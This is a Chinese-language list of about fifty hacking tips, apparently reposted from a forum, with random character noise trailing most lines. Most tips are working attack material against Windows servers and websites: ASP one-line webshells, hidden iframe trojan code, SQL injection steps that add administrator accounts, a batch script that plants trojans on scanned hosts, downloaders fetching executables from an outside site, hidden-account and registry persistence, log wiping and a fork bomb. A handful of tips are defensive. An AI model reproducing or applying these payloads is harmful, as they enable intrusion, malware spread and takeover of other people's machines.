Xp系统修改权限防止病毒或木马等破坏系统,cmd下,- J& N5 k4 J8 c2 i' v! s9 j
cacls C:\windows\system32 /G hqw20:R, P! b8 R4 Y9 b r7 r
思是给hqw20这个用户只能读取SYSTEM32目录,但不能进行修改或写入
% o/ L7 Y) k; {' G i$ A. t恢复方法:C:\>cacls C:\windows\system32 /G hqw20:F
! a. P' W, t- D+ I9 Z$ F5 Z8 t
7 y( b/ U2 |2 t: Q+ B" E4 u3 N2、用Microsoft自带的IExpress工具作的捆绑木马可以躲过很多杀毒软件,运行对话框中输入Iexpress。
. f( ]4 m8 ?6 N+ E: N- ?4 a/ a
2 j1 T9 O; ?% d# m3 ^2 v, `# g' K3、内网使用灰鸽子,肉鸡上vidcs.exe -p端口,本地VIDCS里,VIDCS服务IP 填肉鸡的IP,VIDCS服务端口,就是给肉鸡开的端口,BINDIP添自己的内网IP,BIND端口 添8000,映射端口添8000。5 y9 x& A1 o" y9 I5 i4 ]9 M
2 n! c9 t4 t. z D
4、建立隐藏帐号,上次总结了用guest建立隐藏的管理员,这次再介绍一种,在cmd下建立一个ating$的用户,然后注册表下复制管理员的1F4里的F 值到ating$的F值,再把ating$改为$,这样在计算机管理的用户里看不到这个隐藏帐号" K0 U. k9 @ {' U
% f/ f4 W. H$ T5 \5、利用INF文件来修改注册表: x; k+ z6 ~( S. ^8 Z6 U
[Version]
# w! D# j) f* b1 S5 uSignature="$CHICAGO$"9 T6 `9 L2 z+ `
[Defaultinstall], I2 e1 N# m/ W$ I9 d: Y2 b2 `
addREG=Ating
+ Z9 T4 V8 b5 Q, Y& d[Ating], j7 ?9 a3 j: a' {9 {. U7 j
HKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\system","disableregistrytools","0x00010001","1"7 X* g4 c, E5 g' \
以上代码保存为inf格式,注意没有换行符,在命令行里导入inf的命令如下:
5 g& D$ G" P( H$ e6 Brundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 inf文件的具体路径* q5 l2 v Y, E s' c
其中HKEY_CLASSES_ROOT 简写为 HKCR,HKEY_CURRENT_USER 简写为 HKCU
1 O% I2 Z- j( X0 U5 [HKEY_LOCAL_MACHINE 简写为 HKLM,HKEY_USERS 简写为 HKU; y+ P3 L/ g$ u2 k, o
HKEY_CURRENT_CONFIG 简写为 HKCC1 T) B h6 J# |, J, T4 h, _
0x00000000 代表的是 字符串值,0x00010001 代表的是 DWORD值: b4 N) j8 d& f% N0 y( s" t
"1"这里代表是写入或删除注册表键值中的具体数据
2 l0 m1 S$ W& o8 |4 b, F1 c/ Z+ u
6、关于制作穿xp2防火墙的radmin,大家一定要会,各大黑客网站都有动画,# k& N+ H: N4 @% A; X
多了一步就是在防火墙里添加个端口,然后导出其键值2 X ^$ z$ D k8 L a/ A; a% \
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]
" n6 E1 \7 T( m0 F- k* n; \/ w/ A8 h0 U# ]0 n2 S. |
7、系统启动时Alerter服务启动前启动木马程序ating.exe,此方法很隐蔽) `+ h- C& i0 l5 Q0 K4 m
在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrentVersion\Image File Execution Options]下建立service.exe项,再在service.exe项建立一个Debugger的键(字符串值),键值填ating.exe的全路径。( d: ?* F& }, v: T+ F% Q5 d
" o# O1 v; L0 v8、将ftp.exe传到服务器用来提权,可以先把它变成ating.gif格式的再用,迷惑管理员。, A, W6 `4 }7 g- s. y
. e7 q$ k2 T9 V! t! E* I2 ^9、有时候在我们进入了网站后台,但是没有上传图片和备份等功能,得不到webshell,
7 p5 o/ c) v/ q! _4 d! b可是不能白来一场,可以看看发表公告或新闻支不支持html和script,支持的话加个frame马或者其他的什么。
- a7 e1 K4 D6 M, X4 |# n5 P8 ~$ C& P+ V
10、用google帮我们找网站后台,搜索”filetype:asp site:www.hack6.com inurl:login”
& B) i I9 ]3 N, Z9 z* x. C. h
5 M8 I5 N2 t0 j, M& F4 `; @1 z11、我们中了盗密码的木马后不要急于删除,一般这些木马都是把密码发到指定邮箱,我们可以用探嗅软件来找到邮箱的用户名和密码,比如安全焦点的xsniff,2 U. Y D: D$ v5 ?* t X9 i3 H
用法:xsniff –pass –hide –log pass.txt
' I4 x8 V1 ?0 D" H' d4 e* m# ]
! y9 {) O# G1 W7 p6 q' K12、google搜索的艺术
% G$ z; p" F* n% n搜索关键字:“未闭合的引号”或“ADODB.Field.error”或“Either BOF or EOF in True”7 x. P$ r2 W% P' j- ?
或“字符串的语法错误”可以找到很多sql注入漏洞。0 W" l+ Z# z0 o# O' m
$ T6 x; l4 s* C6 v2 {, z
13、还可以搜一些木马的关键字,比如搜索“管理登陆 海洋顶端 inurl:asp”,搜到了说明此网站服务器的其中网站肯定有漏洞。
$ H. k% l7 o4 ^0 S$ D
1 r8 H9 x A; o% b* N5 ~14、cmd中输入 nc –vv –l –p 19872 q0 O, W$ z; S" U" I
做个bat文件内容为sqlhello 起始ip 1433 终止ip 1987 扫鸡吃2 t0 _: K4 \2 R8 ?
5 b6 E' Q h9 n+ Q, F; D15、制作T++木马,先写个ating.hta文件,内容为6 p$ n" ]( B5 M
<script language="VBScript">5 }- y3 Q, a& v7 t6 C0 H9 N
set wshshell=createobject ("wscript.shell" )
. o, G( c' y! f" Ha=wshshell.run("你马的名称",1)
, @( n' q6 D- X0 `% s8 p" s; ~7 Dwindow.close
) c* j- n k7 e. T8 M</script>8 j& n- `, A: o+ D! K0 F }6 I
再用mshta生成T++木马,命令为mshta ating.hta ating.t++,用网页木马生成器生成网页木马。
2 q, r9 P' U3 p9 x$ X
- ^7 H0 A& c0 d- t16、搜索栏里输入
8 ]5 c. E- k/ S5 L1 |关键字%'and 1=1 and '%'='
+ y4 E# ~9 X7 W: s+ H4 ~" F5 [$ U关键字%'and 1=2 and '%'='
, W: X" s8 a- \2 g比较不同处 可以作为注入的特征字符; [" p4 u) L. ?! R
9 E- u1 M1 l9 y7 u: @. U
17、挂马代码<html>
" \6 ^& D! g5 M; {<iframe src="马的地址" width="0" height="0" frameborder="0"></iframe>* G5 q; _3 e. R
</html>
* @' ?8 C( u; |0 b. }1 L! r; J, c% g5 @3 G, I5 ?8 G
18、开启regedt32的SAM的管理员权限检查HKEY_LOCAL_MACHINE\SAM\SAM\和HKEY_LOCAL_MACHINE\SAM\SAM\下的管理员和guest的F键值,如果一样就是用被入侵过了,然后删了guest帐号,对方可以用guest帐号使用administraeors的权限,你也可以用这方法留住肉鸡, 这方法是简单克隆,
$ c! ?7 h' c' Gnet localgroup administrators还是可以看出Guest是管理员来。
1 c' F4 r) j. K, @1 n, f& j7 N: x2 v
' c' f; H q* B, D+ u19、软件instsrv.exe 把.exe文件做成系统服务来启动 用来肉鸡挂QQ等
- i% J2 t7 n7 I用法: 安装: instsrv.exe 服务名称 路径/ t* F7 T0 W* i
卸载: instsrv.exe 服务名称 REMOVE
2 M: q8 f! }% @ z1 n. I0 q2 s( N8 |* D! Y4 q
7 o$ d) p7 n3 g
21、SQL注入时工具---Internet选项---高级里找到显示友好的错误信息勾去掉! X$ h& H! V) e. {' U
不能注入时要第一时间想到%5c暴库。* n- R' _5 Z9 |; d8 g
m( W7 ~* W) z, `
22、很多网站程序(比如华硕中文官方网站)上传图片时有可能在检测文件的时候是 从左朝又进行检测,也就是说,他会检测文件是不是有.jpg,那么我们要是把文件改成:ating.jpg.asp试试。。由于还是ASP结尾,所以木马不会变~/ K/ j6 q$ V" b- T2 V& w
. X/ z# K1 Z9 U# I0 }! L9 p) F$ j$ \
23、缺少xp_cmdshell时
1 n# l+ _7 r* S/ e1 R, `0 u( M# z4 o" ~尝试恢复EXEC sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll') A: F) x! e. u! j ?5 m0 I5 c
假如恢复不成功,可以尝试直接加用户(针对开3389的)
N$ J" Y. q2 L# X0 bdeclare @o int
, b( D- {1 O' d8 B# G# ?exec sp_oacreate 'wscript.shell',@o out* o# f3 s H+ L& K7 @
exec sp_oamethod @o,'run',NULL,'cmd.exe /c net user ating ating /add' 再提到管理员
. W; z3 J; W: T( q$ j, M
3 g% d$ I2 b7 {! B a; j24.批量种植木马.bat9 P7 h, q' G) G$ D: a. ^, ^
for /f %%i in (扫描地址.txt) do copy pc.exe %%i\admin$ 复制木马到扫描的计算机当中$ [3 F, H8 S4 Z/ G8 D7 D& ?
for /f %%i in (扫描地址.txt) do at %%i 09:50 pc.exe 在对方计算机上运行木马的时间. J8 k5 L/ u1 U5 h4 b
扫描地址.txt里每个主机名一行 用\\开头
2 d4 z( ~# V' X1 P# j7 N: w( N* W6 d
- |" F9 |9 q/ s0 c, B( Y7 j25、在程序上传shell过程中,程序不允许包含<% %>标记符号的内容的文件上传,比如蓝屏最小 的asp木马<%execute request("l")%>,我们来把他的标签换一下: <script language=VBScript runat=server>execute request("l")</Script> 保存为.asp,程序照样执行。
! u$ v( e. H5 u( u
# ]1 h. @, t% ~ g26、IIS6 For Windows 2003 Enterprise Edition 如IIS发布目录文件夹包含.asp后辍名.
; r( ]$ P1 k* K- A将.asp后辍改为.jpg或其它的如.htm,也可以运行asp,但要在.asp文件夹下.
; d) _2 p& c! n* O9 h1 Y1 s.cer 等后缀的文件夹下都可以运行任何后缀的asp木马
$ W" P+ j- B) Y. Z
* E x; O# m# j4 Z4 G% G( P: B27、telnet一台交换机 然后在telnet控制主机 控制主机留下的是交换机的IP. r( g( }# G: O$ [) ?
然后用#clear logg和#clear line vty *删除日志
0 }* W/ v6 V' P: P
- }1 q3 J3 ?4 {. a B7 U* E( ?28、电脑坏了省去重新安装系统的方法
/ k0 z5 ]2 n! Q5 C& s& o Z纯dos下执行,5 m' c- O6 E& s5 m- I0 a
xp:copy C:\WINDOWS\repair\*.* 到 c:\windows\system32\config
" h5 U L) t, D" V1 I# f/ q( ]+ {2k: copy C:\winnt\repair\*.* 到 c:\winnt\system32\config
8 e6 G9 A( y5 ~( t) P
! b/ ~) B2 t4 s29、解决TCP/IP筛选 在注册表里有三处,分别是:
9 z+ C( ^; B |HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
- u% k6 I; v1 D) V$ s3 uHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip% F6 f7 @/ S. {: m
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip! W7 F3 R4 }/ f$ P* \9 g R8 }9 e
分别用4 J, c2 s$ i/ g; ?) I- P$ ?! Y
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip+ P+ R& S8 s( Y
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip# h: [1 Y; S1 y% K3 o, I
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
! z/ A! m+ k' a0 _命令来导出注册表项$ p5 U/ h/ l$ y0 `% d
然后把三个文件里的EnableSecurityFilters"=dword:00000001,
9 O4 E$ {7 \0 t5 Y( T1 o改成EnableSecurityFilters"=dword:00000000 再将以上三个文件分别用+ U7 {4 r/ \+ c% ^$ f# e
regedit -s D:\a.reg regedit -s D:\b.reg regedit -s D:\c.reg 导入注册表即可。
1 ]/ h8 V9 ^+ ^9 Y2 B! Z6 L2 Y7 U% g0 z
30、使CHM木马无法在本地运行木马程序 将注册表"HKEY_CURRENT_U
' _) m+ |$ h' O4 P7 kSER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0"下的1004项的值由原来十进制的0改为十六进制的3 H. ?! d% T: i5 \) B, B
# g2 R4 c$ @" D$ K, a' _" ^
31、全手工打造开3389工具
* S& j; c6 w7 n( Z- M) q3 v, h# ]打开记事本,编辑内容如下:: g# r3 y$ T. g2 {
echo [Components] > c:\sql
& z5 d8 ?$ \8 t; b* |! ^echo TSEnable = on >> c:\sql: ~3 W$ y7 f# ^ l
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q1 \7 x. U# r6 W" G9 v* p# Z. \
编辑好后存为BAT文件,上传至肉鸡,执行0 p3 V3 W9 {& Z6 T" y/ A
+ V3 z" A% X4 i# {( T$ a32、挂马js代码document.write('<iframe height=0 width=0 src="木马地址.htm"></iframe>');保存到js页面里 可让所有页面挂马) F- X: x4 D {1 H8 b$ R' I2 y
8 f! @6 D# f* B. K1 o6 a' W
33、让服务器重启
+ @& j3 @# L( ?0 C写个bat死循环:
% d: N+ l2 m$ m- O0 X1 x+ W@echo off
! h# q! D1 b A: f/ x) o:loop1/ Y% z/ r* H5 W/ G2 j& A$ i: C
cls0 k+ p2 S* y( x
start cmd.exe+ E0 J2 w! I0 h6 M2 S0 t1 f
goto loop1( F, g1 D! D7 F9 F
保存成bat guset权限就可以运行 运行后很快服务器就会死机 管理员自然会去重启, c& j3 r Z/ r6 n
1 M& w! X8 D# H) A
34、如果你登录肉鸡的3389时发现有cmd一闪而过,那你可要小心了,管理员写了个bat在监视你,4 T ?8 }' z/ X) H: Q
@echo off! K5 q- t1 M. K: b( a3 t# N4 y% V
date /t >c:/3389.txt
) f d- h& Z& P1 _8 h* j" ?5 Ftime /t >>c:/3389.txt) U# K% ?& ?. \+ V7 b1 h
attrib +s +h c:/3389.bat n8 m: a0 G) Y P5 Y6 @
attrib +s +h c:/3389.txt& ~0 R4 L1 R- T0 [' Y/ g
netstat -an |find "ESTABLISHED" |find ":3389" >>c:/3389.txt
! y) }4 f- ]" P( I8 O3 r/ L并保存为3389.bat. z6 d: M7 {9 @
打开注册表找到:Userinit这个键值 在末尾加入3389.bat所在的位置,比如我放到C盘,就写:,c:/3389.bat,注意一定要加个逗号( [6 j6 L2 \6 q
+ x& H6 T% Q V, L4 Q3 K l35、有时候提不了权限的话,试试这个命令,在命令行里输入:
4 S' l( Z2 y! n- e, K6 \7 Vstart http://www.hack520.org/muma.htm然后点执行。(muma.htm是你上传好的漏洞网页)
* L6 Z, c* {7 x. O" `输入:netstat -an | find "28876" 看看是否成功绑定,如果有就telnet上去,就有了system权限,当然也可以nc连接,本地执行命令。
& x7 i+ v! z1 J _$ ~3 U6 |, J0 E8 r' H. O" X$ G/ ]2 @
36、在cmd下用ftp上传马方法,我们可以用echo 写一个批处理文件* V& o) B' z ~* H/ B
echo open 你的FTP空间地址 >c:\1.bat //输入你的FTP地址& _+ l5 D7 ~2 j" O! F
echo 你的FTP账号 >>c:\1.bat //输入账号( T1 W$ P3 k# l* y# N- D1 ^
echo 你的FTP密码 >>c:\1.bat //输入密码! t& a& ~9 j; Q
echo bin >>c:\1.bat //登入
5 T, R* I8 P) y) G' o3 Xecho get 你的木马名 c:\ ating.exe >>c:\1.bat //下载某文件到某地方并改名为什么
4 H1 H. u6 l/ g4 j% N9 m+ \) Kecho bye >>c:\1.bat //退出/ Q7 ]0 d e- t/ Z3 ?, M' w
然后执行ftp -s:c:\1.bat即可
: A. i& z. d# C9 D- f! K% G/ B- o
! C& }4 X% T$ ]! u37、修改注册表开3389两法
& ?! C+ Z7 X" ]9 s- ^(1)win2000下开终端 首先用ECHO写一个3389.reg文件,然后导入到注册表0 e; E! S: G6 W9 O
echo Windows Registry Editor Version 5.00 >>3389.reg/ [8 j/ [9 [4 m# c
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg) Q2 b" h+ |7 ^" B5 l, h" E; |' `5 h
echo "Enabled"="0" >>3389.reg
. \) y4 i7 ?! y8 _8 p2 C. Gecho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
+ T/ `+ O& w7 ~$ k v- a$ YNT\CurrentVersion\Winlogon] >>3389.reg
Z9 Z' A2 W4 j4 E$ N- D/ P# X P/ [echo "ShutdownWithoutLogon"="0" >>3389.reg/ ~' P9 `% H5 d5 L, o+ A
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
C& O* N% ?* C# }4 t# {>>3389.reg
, J! z2 \& x* j) N# J- M6 Techo "EnableAdminTSRemote"=dword:00000001 >>3389.reg8 c4 b E5 U3 @' U; Y6 @& e
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
" c: B/ I( J' L. U>>3389.reg* t* p. f& ~, d/ i6 f& y
echo "TSEnabled"=dword:00000001 >>3389.reg! J5 o0 l, m, E7 a7 v: _1 j
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg
1 U" o c0 O6 Wecho "Start"=dword:00000002 >>3389.reg: \# E& S+ {( c4 o% ?( h6 p* X
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]1 d' _+ H7 m) F- y
>>3389.reg
5 R% t# ?! d! D, p7 N; Wecho "Start"=dword:00000002 >>3389.reg
3 j! T5 _" E- d. P- |echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg& E4 |+ A" t# v
echo "Hotkey"="1" >>3389.reg
0 }! O4 c* I6 @# vecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal' i, F6 Y3 w+ J: \6 X) c% H9 k
Server\Wds\rdpwd\Tds\tcp] >>3389.reg
9 ^3 m7 B7 l+ n* m! Gecho "PortNumber"=dword:00000D3D >>3389.reg
% ?$ |0 J; h1 @5 |3 ~, Becho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
3 G" _1 E7 q8 WServer\WinStations\RDP-Tcp] >>3389.reg
8 n; f' w; r# `8 B/ }6 xecho "PortNumber"=dword:00000D3D >>3389.reg5 P! J+ J+ q4 ~6 o/ s) d
把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件,接着regedit /s 3389.reg导入注册表。
$ [' I L- p2 y" r/ x3 m(如果要改变终端端口只须把上面的两个D3D都改一下就可以了)9 u3 I( A" D& z( _+ q- x8 J9 v0 O
因为win 2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效* V6 G- a& a3 E9 G
(2)winxp和win2003终端开启
, v( |# y. ~5 ?/ x2 e( h% a- [用以下ECHO代码写一个REG文件:
; X, H% x& x$ H- ~echo Windows Registry Editor Version 5.00>>3389.reg' G! n7 n9 v1 K/ Y# R) D9 M
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal9 v: E, s- k3 h& f7 X- \
Server]>>3389.reg/ |! }' A, h7 s% l' B/ V
echo "fDenyTSConnections"=dword:00000000>>3389.reg
/ W7 F( @6 r2 vecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal8 G- E( s R2 ]9 c" ?! |* @
Server\Wds\rdpwd\Tds\tcp]>>3389.reg
; }8 w$ ]# y2 u6 {echo "PortNumber"=dword:00000d3d>>3389.reg" D4 J% T- r7 }/ w& b2 `; W
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
( W8 z4 ~" X; uServer\WinStations\RDP-Tcp]>>3389.reg! A/ X' q2 ?+ \: Z# l0 |
echo "PortNumber"=dword:00000d3d>>3389.reg$ u. U4 C$ M2 b3 \5 w
然后regedit /s 3389.reg del 3389.reg2 r+ x% j4 q& T* u$ V
XP下不论开终端还是改终端端口都不需重启
0 X. Q t+ }6 g
9 N/ k4 E+ V8 v. {3 [) G/ j38、找到SA密码为空的肉鸡一定要第一时间改SA密码,防止别人和我们抢肉吃; N" Y( n: }. t1 U
用查询分析器运行 EXEC sp_password NULL, '你要改的密码', 'sa'& C- g6 W, L8 h; q
6 E) L0 c/ ?! f$ {( o3 h, p& @. P39、加强数据库安全 先要声明把mdb改成asp是不能防止下载的!" x* S) ^9 f! @3 \( y
(1)数据库文件名应复杂并要有特殊字符
) e% c2 K2 l- D- {(2)不要把数据库名称写在conn.asp里,要用ODBC数据源
& j5 D0 Y1 r( S9 Q, _0 m g将conn.asp文档中的
5 `+ g) L; N4 Z! vDBPath = Server.MapPath("数据库.mdb")( N$ b: W: ~7 u1 H" ?5 ?
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath5 n' o2 E r5 h" g
( ~. `# t+ B8 [4 u u, b6 q/ e
修改为:conn.open "ODBC数据源名称," 然后指定数据库文件的位置/ W6 {% h, c `) i0 p5 ~! l
(3)不放在WEB目录里
; m1 r. o, ] Y# M
: j$ y! y- N" B* I" U8 D40、登陆终端后有两个东东很危险,query.exe和tsadmin.exe要Kill掉* S( P' m9 Z+ \$ |& t0 C# L
可以写两个bat文件
5 M/ Z8 c" M1 @- T@echo off& j6 J2 w: ]# G& X1 i3 @6 i+ d/ ^
@copy c:\winnt\system32\query.exe c:\winnt\system32\com\1\que.exe8 V3 ]6 u& C, A3 o, E, N7 }
@del c:\winnt\system32\query.exe) c& u9 ^# I1 y: T* U7 {7 k9 f
@del %SYSTEMROOT%\system32\dllcache\query.exe! ^) @0 e$ V; |6 _
@copy c:\winnt\system32\com\1\query.exe c:\winnt\system32\query.exe //复制一个假的
; W; E2 c C1 g# [) L* o. F) K* ~/ y2 h4 ~1 @
@echo off( Q7 M1 m; ^6 a& E
@copy c:\winnt\system32\tsadmin.exe c:\winnt\system32\com\1\tsadmin.exe2 a+ _- H$ O' H5 q
@del c:\winnt\system32\tsadmin.exe, }- d9 H, J! q9 e
@del %SYSTEMROOT%\system32\dllcache\tsadmin.ex' ^, H; }* f( ^! d
' ~0 D! Q% n7 O% k+ R
41、映射对方盘符! e. R1 V( [5 ~! i
telnet到他的机器上, B( s* b3 x: d9 e* f: [; e- P
net share 查看有没有默认共享 如果没有,那么就接着运行
; |- t4 v" W! F. Cnet share c$=c:! y# q. E+ ?0 X+ x; E: Y; a
net share现在有c$4 Y/ i, t1 m# @. q" @
在自己的机器上运行: S* e' x: A" \! f, `
net use k: \\*.*.*.*\c$ 把目标共享映射到本地硬盘,盘符为K
1 _) x# u- ]% z% I8 @) W6 U( O0 c; O' w7 `' `% |& S3 X8 [
42、一些很有用的老知识
' }+ g1 ]; A6 d8 W% P& j) utype c:\boot.ini ( 查看系统版本 )7 F+ ]+ Y+ ^& n
net start (查看已经启动的服务)
1 u& _- M/ ]5 x b. K# h, }* qquery user ( 查看当前终端连接 )
. ^' m" c0 }, z8 F0 Q; Knet user ( 查看当前用户 )* ]( b7 G3 B S4 f- x: \
net user 用户 密码/add ( 建立账号 )5 G) ~: f9 c; b& J9 L9 h2 C6 _
net localgroup administrators 用户 /add (提升某用户为管理员)
. r6 ]: ?9 k+ dipconfig -all ( 查看IP什么的 )$ n! `) p* W; k8 v' f
netstat -an ( 查看当前网络状态 )
" C# o! O$ X4 v1 I4 ], vfindpass 计算机名 管理员名 winlogon的pid (拿到管理员密码); q1 n/ t n B3 _
克隆时Administrator对应1F4
5 y) ^0 _, n. S6 J h8 Dguest对应1F56 Z; ?( i( P B0 `4 T, u3 X
tsinternetuser对应3E8
" k& K4 u" }2 [8 A( h8 F3 j+ |- u/ C8 K; ]: B9 f" S
43、如果对方没开3389,但是装了Remote Administrator Service
p R& r r u用这个命令F:\ftp.exe "regedit -s F:\longyi.biz\RAdmin.reg" 连接
4 I9 l& C1 i' r* J9 }# J& C解释:用serv-u漏洞导入自己配制好的radmin的注册表信息
. a5 l6 [. D( Y* E+ n, R先备份对方的F:\ftp.exe "regedit -e F:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\RAdmin"
/ y g* f9 d& \
- D! R* O1 ?/ x$ J7 y ~44、用lcx做内网端口映射,先在肉鸡上监听 lcx -listen 52 8089 (端口自定)
5 @/ b( ~: T5 S+ u3 V/ F$ Q本地上运行映射,lcx -slave 鸡的ip 52 我内网的ip 80 (我的WEB是80端口)
1 B5 y6 D! P6 k- J
, p2 j& |% F2 g4 U' N45、在服务器写入vbs脚本下载指定文件(比如用nbsi利用注入漏洞写入)
0 @" H5 N& N; k5 O$ R' E3 Lecho Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open
5 x( {6 g5 g$ j; M* J0 j^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s =7 F% c S/ q# P" a7 l
CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type =
- V7 y7 n% p! k+ Z) K# o2 z1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >ating.vbs* f: x- p5 g, A- t$ K: g8 J9 R
(这是完整的一句话,其中没有换行符)
% ~0 J9 A, |& n& ^; c% b1 D然后下载:
1 I( R( D1 D: d/ D: r7 bcscript down.vbs http://www.hack520.org/hack.exe hack.exe
# i. K1 x4 I& I; `% ]
% V$ q- x4 l9 O! R! q; j46、一句话木马成功依赖于两个条件:
' ~3 L) p8 l+ a1、服务端没有禁止adodb.Stream或FSO组件( z8 v8 M9 W/ m% i8 ?! L
2、权限问题:如果当前的虚拟目录禁止user级或everyone写入的话也是不会成功的。/ y( o0 Z+ ?7 @( j" P" V5 |
; N- X4 X6 s, [; g
47、利用DB_OWNER权限进行手工备份一句话木马的代码:
5 B/ @- R8 M5 w;alter database utsz set RECOVERY FULL--# g8 }; I) g' L: R4 {( y, ?
;create table cmd (a image)--3 S6 V1 B6 `8 J1 t2 `' A7 l
;backup log utsz to disk = 'D:\cmd' with init--
8 t+ D+ F f, c' h;insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--
# l- M8 g. H, j. S9 H: e* S;backup log utsz to disk = 'D:\utsz_web\utsz\hacker.asp'--& H% ?9 o' M' I) L% D' j' ^4 B
注:0x3C25657865637574652872657175657374282261222929253EDA为一句话木马的16进制形式。. X9 D' r$ R4 p
: @4 H6 j, W% Z# i
48、tlntadmn是telnet服务的设置命令,可以对telnet服务的端口、认证方式等进行设置:# f4 W4 X: n4 i' E
6 M0 |# @5 l+ {6 o, ~
用法: tlntadmn [computer name] [common_options] start | stop | pause | continue | -s | -k | -m | config config_options
q6 h" {2 H# l- C& W" ]: P所有会话用 'all'。# p& U [" q, |( n: H i
-s sessionid 列出会话的信息。
4 t [8 l- |$ l7 ~8 U7 g# s1 O, l-k sessionid 终止会话。) V6 Z1 R) g \5 Q7 o! L2 t! i
-m sessionid 发送消息到会话。
7 b; M0 F9 J' V% k; Z- g2 c N9 _$ L) b. e; g& w! t: F
config 配置 telnet 服务器参数。* ? s0 |6 e; b, [
$ r6 q% V M B. gcommon_options 为:
$ @4 B8 D, N0 h( D5 Y, v/ u-u user 指定要使用其凭据的用户/ @6 c( p) m$ B3 u! [: B
-p password 用户密码9 K! M9 M' J2 B2 I( c2 u5 @
% }( `+ W7 g$ g& Z6 A5 ~+ Q
config_options 为:: e$ Q* U3 w2 {0 R+ s B
dom = domain 设定用户的默认域* V; S7 ?9 O9 ~" a0 I0 u9 f
ctrlakeymap = yes|no 设定 ALT 键的映射$ P1 d3 b7 f5 b: W/ a0 D
timeout = hh:mm:ss 设定空闲会话超时值
6 F0 r5 ?6 r7 K9 a+ ytimeoutactive = yes|no 启用空闲会话。
% A1 m2 B5 C5 f6 r" U7 L, o7 [maxfail = attempts 设定断开前失败的登录企图数。
4 ]$ }: C X/ A( g, Y W$ f0 E6 cmaxconn = connections 设定最大连接数。
+ p e, L( h& zport = number 设定 telnet 端口。
& f1 i; j1 y, |+ z lsec = [+/-]NTLM [+/-]passwd
6 x+ C& R5 v( t7 r$ @设定身份验证机构
# V. F$ ^9 P$ c' ], B9 jfname = file 指定审计文件名。7 D/ _, [0 y P m' A/ n- [8 k8 h
fsize = size 指定审计文件的最大尺寸(MB)。
# k: h3 `7 T) r$ l$ H4 smode = console|stream 指定操作模式。
" K- F1 b0 r6 c0 |: M6 Sauditlocation = eventlog|file|both! x Y9 e. E' h0 C& ~
指定记录地点2 D; y6 h) L( T
audit = [+/-]user [+/-]fail [+/-]admin' Z& ]1 z. ?: N7 I9 T
& c% |0 m; w9 V6 ?! ~49、例如:在IE上访问:
" b& v( `/ \6 Gwww.hack520.org/hack.txt就会跳转到http://www.hack520.org/5 [. r7 ~8 H# `, O
hack.txt里面的代码是:
! \4 K, E8 d! u! e# `' O x6 |- N<body> <META HTTP-EQUIV="Refresh" CONTENT="5;URL=http://www.hack520.org/">
) S; Y2 ]6 H- @4 J! G5 S2 e7 A把这个hack.txt发到你空间就可以了!4 i( K+ U! b7 o, M/ B5 g
这个可以利用来做网马哦!4 J, C; M* D( ?; ]2 f! V/ [
1 C2 d. l8 |5 U* B+ X
50、autorun的病毒可以通过手动限制!$ p# b* j1 s4 A2 @
1,养成好习惯,插入U盘或移动硬盘,都要按住shift让其禁止自动运行!8 b" R1 ^/ i* f9 P3 C, K: a6 O
2,打开盘符用右键打开!切忌双击盘符~5 e9 ^4 s W: b( a
3,可以利用rar软件查看根目录下autorun病毒并删除之!他可以处理一些连右键都无法打开的分区!
, {% A! S9 U$ T) ~& W$ l+ `8 t) _8 |* f9 z# G
51、log备份时的一句话木马:
- X( M& [& Q/ Q n7 Z+ `5 l9 Ha).<%%25Execute(request("go"))%%25>
" w n E/ V1 S" U% j: M! i% A: |b).<%Execute(request("go"))%>) Y; i) n, M3 Z1 A$ R5 Q B
c).%><%execute request("go")%><%
' W% P0 U& l( e9 Sd).<script language=VBScript runat=server>execute request("sb")</Script>
+ z6 k# y9 M7 O9 ~e).<%25Execute(request("l"))%25>
; ~7 w+ `8 b" @# C0 Vf).<%if request("cmd")<>"" then execute request("pass")%>
0 u6 l, W+ O) J' m) p* J( b6 S( f0 f; S
52、at "12:17" /interactive cmd( b, e& q9 d- ], V+ ]
执行后可以用AT命令查看新加的任务
